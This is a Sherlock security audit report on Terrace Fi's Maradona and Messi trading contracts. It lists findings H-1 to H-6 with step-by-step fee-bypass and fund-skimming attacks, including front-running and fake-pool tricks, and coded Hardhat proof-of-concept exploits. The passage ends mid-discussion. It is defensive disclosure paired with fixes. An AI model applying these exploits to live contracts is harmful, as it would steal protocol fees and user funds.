SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Private
Prepared for:	Terrace Fi
Prepared by:	Sherlock
Lead Security Expert:	bin2chen
Dates Audited:	May 24 - June 1, 2024
Prepared on:	June 24, 2024

Introduction

Terrace is a multi-wallet, non-custodial crypto trading terminal and broker. We offer best price routing, advanced order types, synthetic pairs, token screening, and portfolio management on 13 chains.

Scope

Repository: subdialia/smart-contracts-audit-v1

Branch: main

Commit: 1d4d30522016f2066ed00492a46132fd951fe719

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
20	7

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

PUSH0 bin2chen ctf_sec
bughuntoor Kow

Issue H-1: Multihop trade allows bypassing fees by setting different output tokens for the same input token

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/30

Found by

PUSH0

Summary

A trader can bypass fees by setting two different output tokens for the same input token. Then only the second (fake) output token will be charged fees, and the first (real) output token remains in the contract. The trader can then retrieve the real output token by simply trading dust amount with the same output token (as outlined by the README).

By setting the second output token's trade to an extremely small value in the initial trade, the trader can bypass fees completely.

Vulnerability Detail

Consider the following scenario.

Alice wants to trade 1 ETH into USDC. If she trades through Maradona as normal, she will have to take the full fee. Alice can set up the following trade through takeTokensAndTrade() to dodge fees:

- Two operations
- Operation 1:
  - ETH to USDC
  - Amount in = 0.9999999999999 ETH
- Operation 2:
  - ETH to USDT
  - Amount in = 0.0000000000001 ETH
- Fee token: USDT

What will happen is that:

- The two operations are performed in order:
  - (almost) 1 ETH gets traded into USDC

    - Dust amount of ETH gets traded into dust amount of USDT
- After the swaps are completed, some fees are charged from the output USDT (which is a dust amount), and the rest is returned to Alice
- The remaining USDC are stuck in the contract

However, Alice can now perform a trade using dust amount of input ETH to USDC (and with ETH as the fee token), and the contract's entire USDC balance will be sent back to Alice, for another dust amount of ETH fee.

Proof of concept

Paste the following test into `Maradona.test.ts`. The test performs:

- Swaps 3 ETH to `outputToken`
- Swaps 1 ETH to `middleToken`

```
it.only("PUSH0 PoC", async function () {
  // Load fixture elements
  const {signers, maradona, mockMarkets, mockTokens} = await
↪  loadFixture(deployFixture);

  // User stuff
  const owner = signers[0];
  const users = signers.slice(1);
  const sponsor = users[0];
  const traders = users.slice(1);
  const trader = traders[0];
  const traderAddress = trader.address.toLowerCase();

  // update sponsor
  await maradona.connect(owner).updateCollector(sponsor.address)

  // Token stuff
  const middleToken = mockTokens[1];
  const middleTokenAddress = mockTokens[1].target.toString();

  const outputToken = mockTokens[2];
  const outputTokenAddress = outputToken.target.toString();

  // two operations:
  // Op1: ETH ---> output token, amount = 3
  // Op2: ETH ---> middle token, amount = 1
  // Fee token: Middle token
  // Result: 0.9995 middle tokens are returned
  // 3 output tokens stuck in the contract
```

```
  // Now we can trade anything with the same output tokens to get those out
  const valueONE = ethers.parseEther("1");
  const valueTHREE = ethers.parseEther("3");
  const feeBps = toBigInt(5);
  const feeValue = toBigInt(2) * valueONE * feeBps / toBigInt(10000)
  const opParams: OperationParametersStruct[] = [getEmptyOpParams(),
↪   getEmptyOpParams()];
  opParams[0].inputToken = ethers.ZeroAddress
  opParams[0].outputToken = outputTokenAddress
  opParams[0].ratioBPs = toBigInt(7500)
  opParams[0].amountIn = valueTHREE.toString()
  opParams[0].exchangeID = 1

  opParams[1].inputToken = ethers.ZeroAddress
  opParams[1].outputToken = middleTokenAddress
  opParams[1].ratioBPs = toBigInt(2500)
  opParams[1].amountIn = valueONE.toString()
  opParams[1].exchangeID = 1

  // trade and test!
  const balanceBefore = await ethers.provider.getBalance(traderAddress)
  const erc20BalanceBefore = await outputToken.balanceOf(traderAddress)
  const sponsorBalanceBefore = await ethers.provider.getBalance(sponsor.address)

  expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))
  const tx = await maradona.connect(trader).takeTokensAndTrade(
    opParams,
    "0",
    owner.address,
    traderAddress,
    middleTokenAddress,
    {
      value: valueONE + valueTHREE,
    }
  )
  const rx = await tx.wait();
  const txGas = rx ? rx.cumulativeGasUsed * rx.gasPrice : toBigInt(0);

  expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await middleToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))
  expect(await
↪   outputToken.balanceOf(maradona.target)).to.be.greaterThan(toBigInt(0))

  console.log(await outputToken.balanceOf(maradona.target))
```


```
  console.log(await middleToken.balanceOf(traderAddress))
});
```

Then run the test with the command `make tests/Maradona`

The test will be successful with the following logs:

The outputs show, respectively:

- The Maradona contract's outputToken balance is 3
- The trader's middleToken balance is 0.9995 (with 0.05% fee charged)

With the outputToken left behind in the contract, it can be retrieved by the attacker by performing a simple dust swap with it as the output (as outlined in the README)

Impact

- Breaks core invariant of the protocol that there should be no set of inputs that leaves balance within the contract
- Fees can be bypassed completely

Code Snippet

- https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L377-L384
- https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L607-L612

Tool used

Manual Review

Recommendation

The root cause is that the input allows two identical input tokens for two different output tokens. Normally the contract should only allow, for the same input tokens, also the same output tokens, differing only in their exchanging market.

We think the easiest fix is by adding an `else` case here:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L377-L384

```
if (i > 0  && op.inputToken != lastAddress) {
    require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
    cumRatio = 0;
```

```
    prevCumOutputAmount = cumOutputAmount;
    cumOutputAmount = 0;
    canBeFromEth = false;
    mustUseContractFunds = true;
} else {
    // input token for this operation is the same as previous
    // validate that output token is the same as well
}
```

And similarly for Messi:

- https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L607-L612

Which will validate the set of input as the swap operations are performed

Discussion

WangSecurity

Just wanted to say it's a very good report, easy to read, easy to understand, kudos to your team.

midori-fuse

Thanks for the words.

I uphold a very high burden of proof in my submissions, and I'm sure it shows in my escalations and judging style as well :)

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/16

sherlock-admin2

The Lead Senior Watson signed off on the fix.

bin2chen66

fixed Other comments: This pr only modifies maradona.sol and not messi.sol Confirmed with the sponsor.

> we control Messi. We build our transactions in our back end so we trust that

Issue H-2: Fees can be bypassed by 99.99% by setting the last hop's `ratioBps` to 1

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/33

Found by

PUSH0, bin2chen

Summary

In a multihop trade, traders can add a last hop with the `ratioBps` equal to 1, and fee token to the (fake) output token, which will allow dodging of fees by 99.99%. A large portion of output funds be in the contract, but they can be easily retrieved later.

Vulnerability Detail

In Maradona, for single-hop trades, the total `ratioBps` is validated to be 10000

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L588-L591

```
if (ops.length == 1) {
    require(ops[0].useContractFunds == false, "Messi: single operation must not
↪   use contract funds");
    require(ops[0].ratioBPs == 10000, "Messi: single operation must have
↪   ratioBPs equal to 10000");
}
```

If there are multiple hops, each hop's split are also validated to sum up to 10000

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L605-L612

```
if (i > 0 && op.inputToken != lastAddress) {
    require(cumRatio == 10000, "Messi: cumRatio is not 10000");
    // ...
}
```

However, this property is never validated in the final hop. This allows anyone to inject a fake trade at the end, with a BPS of 1, and the fee token to be the (fake) output token.

This will allow dodging 99.99% of the fees, and the real output amount to remain in the contract, which, has been outlined in the README, can easily be retrieved by

performing a dust trade with that as the output.

Proof of concept

Alice wants to trade 1 ETH to USDC. She can dodge the fees using the following sequence of two operations:

- Operation 1: ETH to USDC. Amount in = 1, ratioBPS = 10000,
- Operation 2: USDC = USDT. Amount in = irrelevant (because it will get overwritten), ratioBPS = 1
- Fee token = USDT

What will happen is that:

- The contract swaps 1 ETH into, say, 4000 USDC
- The contract takes 0.01% of the output USDC amount, that is, 0.4 USDC, and swaps it to 0.4 USDT
- The contract charges a small fee on this 0.4 USDT (just 0.004 USDT), and returns the rest to Alice
- The rest of the 3999.6 USDC remain in the contract, but can be retrieved by Alice at any time using the outlined trade above (even in the same tx as the attack)

We also provide a coded PoC:

```
it.only("PUSH0 PoC - last hop BPS = 1", async function () {
  // Load fixture elements
  const {signers, maradona, mockMarkets, mockTokens} = await
↪  loadFixture(deployFixture);

  // User stuff
  const owner = signers[0];
  const users = signers.slice(1);
  const sponsor = users[0];
  const traders = users.slice(1);
  const trader = traders[0];
  const traderAddress = trader.address.toLowerCase();

  // update sponsor
  await maradona.connect(owner).updateCollector(sponsor.address)

  // Token stuff
  const middleToken = mockTokens[1];
  const middleTokenAddress = mockTokens[1].target.toString();
```

```
  const outputToken = mockTokens[2];
  const outputTokenAddress = outputToken.target.toString();

  // two operations:
  // Op1: ETH ---> output token, amount = 1, bps = 10000
  // Op2: output token --> middle token, amount = any, bps = 1
  // Fee token: Middle token
  const valueONE = ethers.parseEther("1");
  const feeBps = toBigInt(5);
  const feeValue = toBigInt(2) * valueONE * feeBps / toBigInt(10000)
  const opParams: OperationParametersStruct[] = [getEmptyOpParams(),
↪  getEmptyOpParams()];
  opParams[0].inputToken = ethers.ZeroAddress
  opParams[0].outputToken = outputTokenAddress
  opParams[0].ratioBPs = toBigInt(10000)
  opParams[0].amountIn = valueONE.toString()
  opParams[0].exchangeID = 1

  opParams[1].inputToken = outputTokenAddress
  opParams[1].outputToken = middleTokenAddress
  opParams[1].ratioBPs = toBigInt(1)
  opParams[1].useContractFunds = true;
  opParams[1].amountIn = 0
  opParams[1].exchangeID = 1

  // trade and test!
  expect(await
↪  ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))
  const tx = await maradona.connect(trader).takeTokensAndTrade(
    opParams,
    "0",
    owner.address,
    traderAddress,
    middleTokenAddress,
    {
      value: valueONE,
    }
  )
  const rx = await tx.wait();
  const txGas = rx ? rx.cumulativeGasUsed * rx.gasPrice : toBigInt(0);

  expect(await
↪  ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await middleToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))
  expect(await
↪  outputToken.balanceOf(maradona.target)).to.be.greaterThan(toBigInt(0))
```

```
  console.log("Maradona's output token balance:", await
↪  outputToken.balanceOf(maradona.target))
  console.log("Traders's middle token balance:", await
↪  middleToken.balanceOf(traderAddress))

  // now retrieve the funds
  const opParams2: OperationParametersStruct[] = [getEmptyOpParams()];
  opParams2[0].inputToken = ethers.ZeroAddress
  opParams2[0].outputToken = outputTokenAddress
  opParams2[0].ratioBPs = toBigInt(10000)
  opParams2[0].amountIn = toBigInt(1) // dust ethers only
  opParams2[0].exchangeID = 1

  const tx2 = await maradona.connect(trader).takeTokensAndTrade(
    opParams2,
    "0",
    owner.address,
    traderAddress,
    ethers.ZeroAddress,
    {
      value: toBigInt(1),
    }
  )
  const rx2 = await tx2.wait();

  console.log("\nAfter retrieval")
  console.log("Maradona's output token balance after retrieval:", await
↪  outputToken.balanceOf(maradona.target))
  console.log("Traders's output token balance after retrieval:", await
↪  outputToken.balanceOf(traderAddress))
  console.log("Traders's middle token balance:", await
↪  middleToken.balanceOf(traderAddress))
  console.log("Trader's total balance:", (await
↪  middleToken.balanceOf(traderAddress)) + (await
↪  outputToken.balanceOf(traderAddress)))
});
```

Run the test with `make tests/Maradona`, the test log shows:

Which proves that indeed 99.99% of the real output token remains in the contract, and the remaining 0.01% is charged a fee and returned. It also shows that the trader's total balance is far greater than what would've been charged if the fee was 0.5% as per the test's setup, showing successful retrieval of funds.

Impact

- Fees can be bypassed
- Funds may remain in the contract, breaking protocol invariant

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L365-L419

The idea also applies to Messi, however only Maradona is permissionless

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Messi.sol#L593-L628

Tool used

Manual Review

Recommendation

Validate that the final hop's total ratioBPS also adds up to 10000. Add the following validation to Maradona, right after the loop in line 645:

```
if (swapOps.length > 0) {
    require(cumRatio == 10000, "Messi: cumRatio final split is not 10000");
}
```

This validation must be done if there is at least one swap operation, otherwise direct bridge operation will revert.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/12

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-3: ERC20-only trades can be done on Maradona by setting a fake dust ETH trade at the beginning (while also bypassing fees)

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/35

Found by

PUSH0

Summary

Per the Maradona code:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L283

```
require(ops[0].inputToken == address(0), "Maradona: first operation must be from
↪  eth");
```

Thus it can be inferred that Maradona should only support trades beginning with ETH.

Per the contest README:

> ### Q: Please discuss any design choices you made.
>
> The idea is to chain swaps one after the other so: we always swap with tokens inside the contract **(e.g. you can't do wETH->USDC and DAI->wBTC in the same transaction)**, and the check for minAmountOut is only done in the last output overriding anything in between. Also, we decided to override every minAmountOut check for each hop except for the last one. Any vulnerability related to this should be reported as an issue.

We show that it is still possible do trades similar to WETH->USDC and DAI->wBTC in the same transaction. We also extend on this fact, and show a way to perform arbitrary ERC20 trades at a cost of dust ETH amounts only using the Maradona contract. This attack also has a side effect of bypassing protocol fees.

Vulnerability Detail

In the following branch:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L377-L384

```
// Check if last start address is different that the current start address
// If it is, we reset the cumRatio and cumOutputAmount
if (i > 0  && op.inputToken != lastAddress) {
    require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
    cumRatio = 0;
    prevCumOutputAmount = cumOutputAmount;
    cumOutputAmount = 0;
    canBeFromEth = false;
    mustUseContractFunds = true;
}
```

If the new input token is different from the old input token, then a new split begins, with the previous output amount.

However, there is no validation that the new input token matches the old output token. Therefore any trades similar to ETH->USDC and DAI->wBTC in the same operation, that should not have been supported, is now possible.

There is still a restriction that the code takes the USDC output amount as the first trade to be DAI's input amount for the second trade (see `prevCumOutputAmount = cumOutputAmount;` and the line below)

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L389-L391

```
if (op.useContractFunds) {
    op.amountIn = (prevCumOutputAmount * ratioBPs) / 10000; // @audit if it's
↪   the second hop onwards, overwrite amountIn
}
```

However, by utilizing Balancer's architecture, we show that it is possible to set up a fake Balancer pool and a fake ERC20 token, to trick Maradona contract into using our supplied amount of DAI for the second operation.

Proof of concept

Our goal is to perform a swap of WBTC --> USDC using the Maradona contract, using the following starting materials:

- A dust amount of ETH (10000 wei is sufficient)
- The amount of WBTC we want to input, let's say 1 WBTC.
- An arbitrary ERC20 token that we created that does not need a value. We will call this PUSH1 token

Balancer's architecture consists of a permissionless Vault, such that any Pool math can be plugged into the Vault to use as its own exchange.

> the Vault is agnostic to pool math and can accommodate any system that satisfies a few requirements. Anyone who comes up with a novel idea for a swapping system can make a custom pool plugged directly into Balancer's existing liquidity instead of needing to build their own Decentralized Exchange.

The full steps to trade ERC20 using the given input, are as follow:

1. Set up a fake Balancer pool, such that the logic of the pool is "when ETH is traded as input into the pool, transfer any amount of PUSH1 token to the trader". The amount of PUSH1 tokens out can be supplied by us (e.g. through a permissioned function).
    - Of course, mint enough PUSH1 tokens to the pool
2. Transfer 1 WBTC directly into the pool
3. Perform the following swap with two operations:
    - Op 1: ETH --> PUSH1. Amount in = 10000 wei, useContractFunds = false, ratioBps = 10000
    - Op 2: WBTC --> USDC. Amount in = 1 WBTC, useContractFunds = true, ratioBps = 10000
    - Fee token = ETH
    - The Balancer pool is set up so that exactly 1e8 PUSH1 tokens is returned (note WBTC decimal = 8)

After the swap, the attacker loses 10000 wei of ETH (which can still be retrieved from the Balancer pool), and leave behind in the contract 1e8 PUSH1 tokens that has no value. The WBTC is swapped to USDC, but fees are only charged on the tiny amount of 10000 wei of ETH.

Another way to perform the attack is to make a custom PUSH1 token with a transfer hook (which ERC20 supports). The 1 WBTC is not transferred into the contract at step 2, but rather when the PUSH1 token is transferred into Maradona (when completing the first trade). This guarantees that there is no risk of someone stealing the WBTC at step 2.

Coded PoC

We prove that the operation succeeds through a coded PoC. The PoC:

- Transfers `middleToken` into the contract directly
- Sets up two trades: ETH --> fakeToken, then middleToken --> outputToken

- Shows through console logs that the trade is successful, and the trader does indeed receive outputToken

```
it.only("PUSH0 PoC - ERC20 only", async function () {
  // Load fixture elements
  const {signers, maradona, mockMarkets, mockTokens} = await
↪  loadFixture(deployFixture);

  // User stuff
  const owner = signers[0];
  const users = signers.slice(1);
  const sponsor = users[0];
  const traders = users.slice(1);
  const trader = traders[0];
  const traderAddress = trader.address.toLowerCase();

  // update sponsor
  await maradona.connect(owner).updateCollector(sponsor.address)

  // Token stuff
  const fakeToken = mockTokens[1];
  const fakeTokenAddress = mockTokens[1].target.toString();

  const realInputToken = mockTokens[2];
  const realInputTokenAddress = realInputToken.target.toString();
  const outputToken = mockTokens[3];
  const outputTokenAddress = outputToken.target.toString();

  // two operations:
  // Op1: ETH ---> fake token, amount = 1 ETH, bps = 10000
  // Op2: real input token --> output token, amount = any, bps = 10000
  // Fee token: ETH
  const valueONE = ethers.parseEther("1");
  const feeBps = toBigInt(5);
  const feeValue = toBigInt(2) * valueONE * feeBps / toBigInt(10000)
  const opParams: OperationParametersStruct[] = [getEmptyOpParams(),
↪  getEmptyOpParams()];
  opParams[0].inputToken = ethers.ZeroAddress
  opParams[0].outputToken = fakeTokenAddress
  opParams[0].ratioBPs = toBigInt(10000)
  opParams[0].amountIn = valueONE.toString()
  opParams[0].exchangeID = 1

  opParams[1].inputToken = realInputTokenAddress
  opParams[1].outputToken = outputTokenAddress
  opParams[1].ratioBPs = toBigInt(1)
  opParams[1].useContractFunds = true;
```

```
  opParams[1].amountIn = 0
  opParams[1].exchangeID = 1

  // trade and test!
  expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))

  // mint tokens for trader first
  await realInputToken.connect(owner).mint(traderAddress, valueONE)
  // transfer directly to the market
  await realInputToken.connect(trader).transfer(maradona.target, valueONE)
  // now trade
  const tx = await maradona.connect(trader).takeTokensAndTrade(
    opParams,
    "0",
    owner.address,
    traderAddress,
    ethers.ZeroAddress,
    {
      value: valueONE,
    }
  )
  const rx = await tx.wait();
  const txGas = rx ? rx.cumulativeGasUsed * rx.gasPrice : toBigInt(0);

  expect(await
↪   ethers.provider.getBalance(maradona.target)).to.be.equal(toBigInt(0))
  expect(await outputToken.balanceOf(maradona.target)).to.be.equal(toBigInt(0))

  console.log("Traders's output token balance:", await
↪   outputToken.balanceOf(traderAddress))
});
```

Run the test with `make tests/Maradona`, the test log shows:

Impact

- Breaks protocol invariant, that Maradona is supposed to work with trades starting with ETH only
- Breaks protocol invariant, that a non-chain trade as shown in the README example should not work
- Breaks protocol invariant, that balances should not be left in the contract after a trade

- Renders the Messi contract obsolete
- Bypassing of protocol fees and all other types of fees

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L377-L384

Tool used

Manual Review

Recommendation

The root cause is that there is no validation that, for each hop/split, the new input token is the same as the previous output token. Add such validation in the following `if` branch:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L377-L384

```
if (i > 0  && op.inputToken != lastAddress) {
    require(cumRatio == 10000, "Maradona: cumRatio is not 10000");
    require(op.inputToken == swapOps[i-1].outputToken, "Token mismatch"); //
↪   @audit add this
    cumRatio = 0;
    prevCumOutputAmount = cumOutputAmount;
    cumOutputAmount = 0;
    canBeFromEth = false;
    mustUseContractFunds = true;
}
```

The same happens with the Messi contract, albeit with less impact since it is permissioned (the only impact is funds stuck in the contract)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/13

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-4: Fees can be charged on a worthless token by setting up a pool on UniV2/UniV3/Balancer and appending the worthless token as the trade output

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/38

The protocol has acknowledged this issue.

Found by

PUSH0, bughuntoor

Summary

Due to the permissionless nature of UniV2/UniV3/Balancer, and by the fact that the user is free to choose the input (ETH) or the output token as fees, the Maradona contract can be tricked into receiving a worthless token as fee, effectively allowing the user to bypass any associated fees.

Vulnerability Detail

The Maradona contract allows for creating multihop trades. While the input token must be ETH, the output token may be any token, and the trader is free to choose whether they want the input token or the output token to serve as protocol fees

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L288-L290

```
if (!validateFeeToken(feesTokenAddress, ops)) {
    revert("Maradona: fee token must be either eth or output token");
}
```

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L102-L105

```
// @dev this function validates if the fee token is either the input or output
↪  token, regardless of the type of operation (claim, swap, bridge)
function validateFeeToken(address feeTokenAddress, OperationParameters[] memory
↪  ops) internal pure returns (bool) {
    return (feeTokenAddress == address(0) || feeTokenAddress == ops[ops.length -
↪  1].outputToken);
}
```

However, because it is permissionless to create an ERC20 token, and create a pool of it on a supported AMM, anyone can create a new pool with their own token/their desired output token, become the sole LP there, and force the protocol into taking their worthless token as fee. This is equivalent to bypassing fee completely.

Proof of concept

Alice wants to trade ETH ---> USDC. She can do the following:

- Create an ERC20 token PUSH1. This token has no value.
- Create a pool on any supported AMM (UniV2/UniV3/Balancer) on the pair USDC/PUSH1. Seed it with any liquidity. Note that Alice owns the entire pool here, since Alice is the only LP.
  - It is even possible to create a custom Balancer pool with almost no liquidity at all, and is effective an Alice-controlled pool.
- Trade on the route ETH ---> USDC ---> PUSH1, with the fee token being PUSH1. The first operation is a normal trade, but the second operation is on the newly created pool.
  - To simulate slippage control on the USDC trade, the PUSH1 token can be an ERC20 token with a transfer hook, that allows Alice to check the USDC output of the trade when the PUSH1 token is inevitably transferred into Maradona.

After the trade:

- The output token is PUSH1, and the protocol will charge a fee based on that output amount.
- The full USDC output from the legit trade is now inside the newly created pool.

Because Alice is the sole liquidity provider, she can withdraw all liquidity, and will receive all the output without being subjected to the fee.

Impact

The protocol will receive only worthless tokens as fees, effectively allowing complete fee bypassing.

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L436-L446

Tool used

Manual Review

Recommendation

Whitelist a set of tokens to be acceptable as fees. Just be sure to whitelist ETH will be enough to retain all core functionality of Maradona.

Issue H-5: If there's enough balance in `feeToken` prior to the swaps, fee will actually be charged from the ETH

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/56

Found by

Kow, PUSH0, bin2chen, bughuntoor

Summary

If there's enough balance in `feeToken` prior to the swaps, fee will actually be charged from the ETH

Vulnerability Detail

Even if the `feeToken` is the `outputToken`, the contract will attempt to charge fees prior to the swaps.

```
(succeeded, feesCharged) = tryToChargeFees(
    feesTokenAddress,
    computableFeeAmount,
    feeRateBps,
    feeReceiver,
    receivingUser,
    false,
    false
);
if (succeeded) {
    if (swapOps.length > 0) {
        require(swapOps[0].amountIn > feesCharged, "Maradona: cannot substract
↪   fee from input swap");
        swapOps[0].amountIn -= feesCharged;
    } else {
        require(bridgeOp.amountIn > feesCharged, "Maradona: cannot substract fee
↪   from input bridge");
        bridgeOp.amountIn -= feesCharged;
    }
}
```

The problem is that if for some reason there's enough balance of said `feeToken` prior to the swap, the fees will be charged. While this is not immediately a problem, if we look right after the `tryToChargeFees` function, we'll see that if it has

succeeded, `swapOps[0].amountIn` will be decreased. This amount of ETH will then remain within the contract and can be skimmed by any user at any time.

1. User wishes to swap 1 ETH for DAI. Fee is 1%.
2. Attacker front-runs transaction and sends 0.01 DAI to the contract.
3. `tryToChargeFees` executes before the swap. Since the amount to execute on is `computableFeeAmount`, fee is calculated as 0.01 DAI. Since the contract has enough DAI, it sends the DAI now.
4. Since `tryToChargeFees` has executed, `swapOps[0].amountIn` will be decreased by 0.01 ETH. This 0.01 ETH will remain within the contract
5. The attacker can then skim the 0.01 ETH.

Impact

Loss of funds

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L316

Tool used

Manual Review

Recommendation

if fee token is output token, do not try to charge fees prior to swap

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/subdialia/smart-contracts-audit-v1/pull/17

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: User can avoid paying fees by sending the ETH separately from the swap transaction

Source: https://github.com/sherlock-audit/2024-05-terrace-judging/issues/58

Found by

bughuntoor

Summary

User can avoid paying fees by sending the ETH separately from the swap transaction

Vulnerability Detail

When user calls `takeTokensAndTrade`, it only verifies that enough `msg.value` is sent for the first `swapOp`. However, `eth -> token` swap can happen in multiple consecutive swap operations.

If `msg.value` is not enough to cover the fees prior to the swaps, fees will simply not be taken and transaction will continue.

After the swapOps finish, `tryToChargeFees` will be invoked again. However, this time the amount on which the call will be attempted is the received token amount.

Imagine the following scenario: User wishes to swap 1WETH -> 4000 USDC

1. User sends 1 WETH to the contract
2. User calls `takeTokensAndTrade` with 2 swapOps - first one has `amountIn = 40e6 wei`, second one has `1e18 - 40e6`. `msg.value == 40e6`. `feesTokenAddress == address(0)`.
3. Fees are calculated as 1% = 0.01 WETH. First `tryToChargeFees` call fails as `msg.value` is not enough to cover the fees.
4. Swap execute. 4000 USDC is received (4000e6).
5. `tryToChargeFees` is called again. However, this time the amount on which fees will be calculated is 4000e6. 1% of that is 40e6. Since `msg.value` is enough to cover that, 40e6 is paid in fees.

In the end the user did a swap for 1 WETH and should've paid 0.01e18 WETH in fees but paid only 40e6 (over 99.9999999% less)

Impact

Loss of yield

Code Snippet

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L316

Tool used

Manual Review

Recommendation

properly check that enough eth is sent as `msg.value`

Discussion

midori-fuse

Doesn't look valid.

The described scenario has a trade of ETH --> WETH --> USDC.

> Fees are calculated as 1% = 0.01 WETH

The following check ensures that the token must be ETH or USDC, it cannot be WETH.

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L288-L290

Assuming the fee token is USDC, then at the final step, 4000 USDC is received, the contract charges 40 USDC, which is correct.

Assuming the fee token is ETH, and the amount in is `amountIn = 40e6 wei`, then the fee is charged on the dust amount, yes. However, after the swap from ETH to WETH, the output of the previous trade is used for subsequent hops:

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L389-L391

and the WETH --> USDC swap is only executed on 40e6 wei of WETH.

The method to bypass fees is described in several other issues, and it must involve a swap with the separately-sent token as the output. However the given "attack" donates WETH, but outputs USDC, meaning the WETH is never retrieved, it just transfers and stays there.

midori-fuse

Request PoC to facilitate discussion based on the above comment

sherlock-admin4

PoC requested from @spacegliderrrr

Requests remaining: **2**

spacegliderrrr

In the original submission I've meant ETH instead of WETH, simply a typo. The swaps is directly ETH -> USDC, with `feeToken == address(0)` (ETH). In the end, no funds are within the contract.

Since the contract does not have Foundry test suite set up, I'll have trouble providing a PoC. Please double-check everything above and if you still believe PoC is needed, I'll work something out.

midori-fuse

@spacegliderrrr do you think you can re-write your attack without typos? Even if I change all occurences of "WETH" into "ETH", it is still unclear how it works.

Let's assume I want to swap 1 ETH to USDC.

- I first send 1 ETH directly into the contract.
- I call swap ETH to USDC, with `amountIn = dust`

Now, the next step is confusing:

> Fees are calculated as 1% = 0.01 WETH. First `tryToChargeFees` call fails as msg.value is not enough to cover the fees.

Because `amountIn = dust`, then the fee is also charged as dust, then the first `tryToChargeFees` call is successful, as opposed to your claim.

However, since you passed dust in as your input amount, then only the same dust amount of ETH will be traded to USDC, and the 1 ETH originally directly sent will remain in the contract.

https://github.com/sherlock-audit/2024-05-terrace/blob/main/smart-contracts-audit-v1/contracts/Paymaster/Maradona.sol#L403

Then how do you trade the already-sent 1 ETH to USDC?

spacegliderrrr

1. You send the 1 ETH to the contract.
2. You call to the contract. `msg.value == dust`. There are 2 swap operations - `swapOp[0].amountIn == dust` `swapOp[1].amountIn == 1 ETH`

3. `require(msg.value >= ops[0].amountIn, "Maradona: insufficient eth sent");` this returns true, so execution continues
4. `computableFeeAmount` is calculated to be 1 ETH + dust.
5. We enter `tryToChargeFees`. Fees are calculated to be 1% = ~0.01 ETH.
